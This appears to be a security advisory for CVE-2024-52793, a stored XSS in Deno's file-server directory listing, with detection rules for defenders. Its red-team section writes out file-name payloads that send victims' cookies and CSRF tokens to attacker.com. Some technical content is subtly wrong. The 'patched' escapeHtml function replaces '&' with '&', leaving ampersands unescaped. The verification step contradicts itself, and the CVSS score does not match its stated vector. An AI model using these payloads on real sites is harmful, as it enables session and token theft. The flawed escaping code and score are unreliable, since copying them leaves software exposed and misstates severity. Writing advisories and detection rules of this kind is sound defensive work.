CVE-2024-52793

Executive Summary

CVE-2024-52793 is a stored cross-site scripting (XSS) vulnerability in the Deno Standard Library's http/file-server module, specifically within the serveDir function when the showDirListing: true option is enabled. An attacker who can control file names in the served directory can inject malicious scripts. When a victim browses the directory listing, the injected script executes in their browser context. The vulnerability is most easily exploitable on POSIX systems where file names can contain characters like < and >. The issue is fixed in version 1.0.11 of the Deno Standard Library.

Supply Chain & Package Security

This vulnerability affects the Deno Standard Library (deno_std), which is a core dependency for many Deno applications. Organizations using Deno should audit their import_map.json or deps.ts files to ensure they are not pinning to a vulnerable version of http/file-server. The package is distributed via the Deno package registry and is commonly imported directly from GitHub or the deno.land/x registry.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs the ability to create files in the served directory.
• User Interaction (UI): Required (R) - A victim must browse the directory listing.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component (the victim's browser).
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., cookies, session tokens).
• Integrity (I): Low (L) - Limited ability to modify content in the victim's browser.
• Availability (A): None (N) - No impact on availability.

CVSS Score: 4.1 (Medium)

Threat Level: Medium. Exploitation requires the attacker to have file write access to the served directory, which limits the attack surface. However, once exploited, the impact can be significant for users browsing the directory listing.

Deep Dive & Mechanics

The vulnerability resides in the serveDir function of the http/file-server module. When showDirListing: true is set, the function generates an HTML page listing the files in the directory. The file names are inserted into the HTML without proper sanitization or encoding.

Root Cause: The file names are directly interpolated into the HTML template without HTML entity encoding. This allows an attacker to inject arbitrary HTML and JavaScript by creating a file with a malicious name.

Example Attack Scenario:

1. An attacker creates a file named <script>alert('XSS')</script>.txt in the served directory.
2. A victim navigates to the directory listing.
3. The server generates HTML that includes the file name as raw text.
4. The browser parses the <script> tag and executes the JavaScript.

Affected Code Path:

• The serveDir function constructs an HTML response.
• File names are obtained from the filesystem and inserted into the HTML template.
• No HTML escaping is applied to the file names.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.0.11):

// In http/file_server.ts
function renderDirListing(entries: DirEntry[]): string {
  let html = `<html><body><ul>`;
  for (const entry of entries) {
    // VULNERABLE: Direct interpolation of file name
    html += `<li><a href="${entry.name}">${entry.name}</a></li>`;
  }
  html += `</ul></body></html>`;
  return html;
}

Patched Code (version 1.0.11):

// In http/file_server.ts
function escapeHtml(str: string): string {
  return str
    .replace(/&/g, "&")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

function renderDirListing(entries: DirEntry[]): string {
  let html = `<html><body><ul>`;
  for (const entry of entries) {
    // PATCHED: HTML-encoded file name
    const safeName = escapeHtml(entry.name);
    html += `<li><a href="${safeName}">${safeName}</a></li>`;
  }
  html += `</ul></body></html>`;
  return html;
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Deno server using serveDir with showDirListing: true.
• Write access to the served directory.

Step 1: Create a malicious file

# On a POSIX system
touch '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>.txt'

Step 2: Wait for a victim to browse the directory listing.

Step 3: The victim's browser executes the injected script, sending their cookies to the attacker's server.

Alternative Payload (Steal CSRF Token):

touch '<img src=x onerror="fetch(\'/api/csrf\').then(r=>r.text()).then(t=>fetch(\'https://attacker.com/token?t=\'+t))">.txt'

Blue Team (Defense & Detection)

Detection:

• Monitor file creation events in served directories for suspicious file names containing HTML/JavaScript characters.
• Use web application firewalls (WAF) to inspect directory listing responses for script injection patterns.

Prevention:

• Immediately update to deno_std version 1.0.11 or later.
• If updating is not possible, disable showDirListing or implement a reverse proxy that sanitizes the response.
• Restrict write access to served directories to trusted users only.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path=* directory listing
| rex field=uri "/(?<filename>[^/]+)$"
| where match(filename, "<|>|script|onerror|onload")
| stats count by src_ip, filename

Indicators of Compromise (IOCs)

• File Names: Files containing HTML tags (e.g., <script>, <img>, <svg>) in their names.
• Network Traffic: Outbound HTTP requests from the server to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
• Log Entries: Web server logs showing requests to directory listing pages with unusual file names in the response.
• Process: Deno processes running with --allow-read and --allow-net flags serving directory listings.

Detection Engineering

YARA Rule

rule CVE_2024_52793_Deno_XSS {
    meta:
        description = "Detects malicious file names exploiting CVE-2024-52793 in Deno file-server"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-52793"
    strings:
        $xss_pattern_1 = /<script[^>]*>/i
        $xss_pattern_2 = /<img[^>]*onerror/i
        $xss_pattern_3 = /<svg[^>]*onload/i
        $xss_pattern_4 = /javascript:/i
    condition:
        any of ($xss_pattern*)
}

Sigma Rule

title: Deno File Server XSS via Malicious File Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses from Deno file-server containing unescaped HTML in directory listings
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: deno
detection:
    selection:
        response_body|contains:
            - '<script'
            - '<img'
            - '<svg'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate file names containing HTML-like strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52793 Deno File Server XSS Attempt"; flow:to_client,established; content:"<script"; http_server_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-52793 Deno File Server XSS Attempt - onerror"; content:"onerror"; http_server_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-52793 Deno File Server XSS Attempt - onload"; content:"onload"; http_server_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Deno Standard Library: Run deno cache --reload https://deno.land/std@1.0.11/http/file_server.ts or update your import_map.json to use version 1.0.11.
2. Disable Directory Listing: If updating is not possible, set showDirListing: false in your serveDir configuration.
3. Restrict File Write Access: Ensure only trusted users can create files in served directories.

Long-term Measures:

• Implement input validation for file names at the filesystem level (e.g., reject names containing <, >, &, ", ').
• Use a reverse proxy (e.g., Nginx, Apache) to sanitize responses before they reach the client.
• Conduct regular security audits of third-party dependencies.

Verification:

• After patching, test by creating a file named <test>.txt and browsing the directory listing. The file name should appear as <test>.txt in the HTML source.

Valters IT